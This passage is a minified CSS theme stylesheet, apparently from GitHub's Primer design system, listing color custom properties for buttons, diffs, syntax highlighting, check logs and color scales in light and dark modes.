#24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: 